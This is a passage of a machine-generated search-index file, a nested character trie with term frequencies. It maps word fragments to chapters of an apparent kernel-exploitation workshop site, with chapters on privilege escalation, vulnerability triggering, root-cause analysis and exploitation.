rivilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"n":{"docs":{},"u":{"docs":{},"m":{"docs":{},"a":{"docs":{},"_":{"docs":{},"p":{"docs":{},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}},"i":{"docs":{},"b":{"docs":{},"r":{"docs":{},"a":{"docs":{},"r":{"docs":{},"y":{"docs":{},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"/":{"docs":{},"d":{"docs":{},"u":{"docs":{},"m":{"docs":{},"p":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"5":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},".":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"?":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}},"c":{"docs":{},"e":{"docs":{},"n":{"docs":{},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}},"n":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"u":{"docs":{},"x":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":3.3367419400653313},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0375}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"=":{"docs":{},"~":{"docs":{},"/":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}}}}},"_":{"docs":{},"g":{"docs":{},"c":{"docs":{},"c":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"o":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{},"s":{"docs":{},"_":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"=":{"docs":{},"p":{"docs":{},"r":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"i":{"docs":{},"l":{"docs":{},"t":{"docs":{},"s":{"docs":{},"/":{"docs":{},"g":{"docs":{},"c":{"docs":{},"c":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005420827389443652},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"t":{"docs":{},"o":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"w":{"docs":{},"e":{"docs":{},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.005965061780997018},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.00456490727532097},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"&":{"docs":{},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"(":{"docs":{},"&":{"docs":{},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"r":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"(":{"docs":{},"l":{"docs":{},"s":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"v":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"d":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"k":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"l":{"docs":{},"y":{"docs":{},"(":{"docs":{},"!":{"docs":{},"_":{"docs":{},"_":{"docs":{},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{},"e":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"_":{"docs":{},"o":{"docs":{},"k":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"h":{"docs":{},"o":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{},"h":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"n":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.012356199403493822},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"o":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"e":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"n":{"docs":{},"e":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}},"f":{"docs":{},"f":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"w":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"t":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.009505703422053232},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.011697574893009986},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.006720806496779613}}}},"a":{"docs":{},"d":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"r":{"docs":{},"n":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"k":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.003920470456454775}}}},"f":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"g":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}}}}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"n":{"docs":{},"k":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"s":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}},"m":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"h":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"e":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"r":{"docs":{},"o":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":5.166666666666667}}}}},"k":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},"_":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}},"n":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"f":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"/":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},".":{"docs":{},"x":{"docs":{},"m":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"d":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"d":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"'":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"g":{"docs":{},"i":{"docs":{},"c":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"j":{"docs":{},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"o":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"x":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"p":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"x":{"docs":{},"h":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"s":{"docs":{},"_":{"docs":{},"n":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"r":{"docs":{},"w":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}},"i":{"docs":{},"m":{"docs":{},"u":{"docs":{},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{},"j":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}}}}}},"i":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"(":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"p":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},":":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}}}}}},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"/":{"docs":{},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{},"/":{"docs":{},"h":{"docs":{},"o":{"docs":{},"s":{"docs":{},"t":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"i":{"docs":{},"c":{"docs":{},"r":{"docs":{},"o":{"docs":{},"=":{"1":{"7":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}},"docs":{}}}}},"n":{"docs":{},"o":{"docs":{},"r":{"docs":{},"=":{"7":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}}}},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"(":{"docs":{},"b":{"docs":{},"y":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}},"s":{"docs":{},"s":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"`":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"g":{"docs"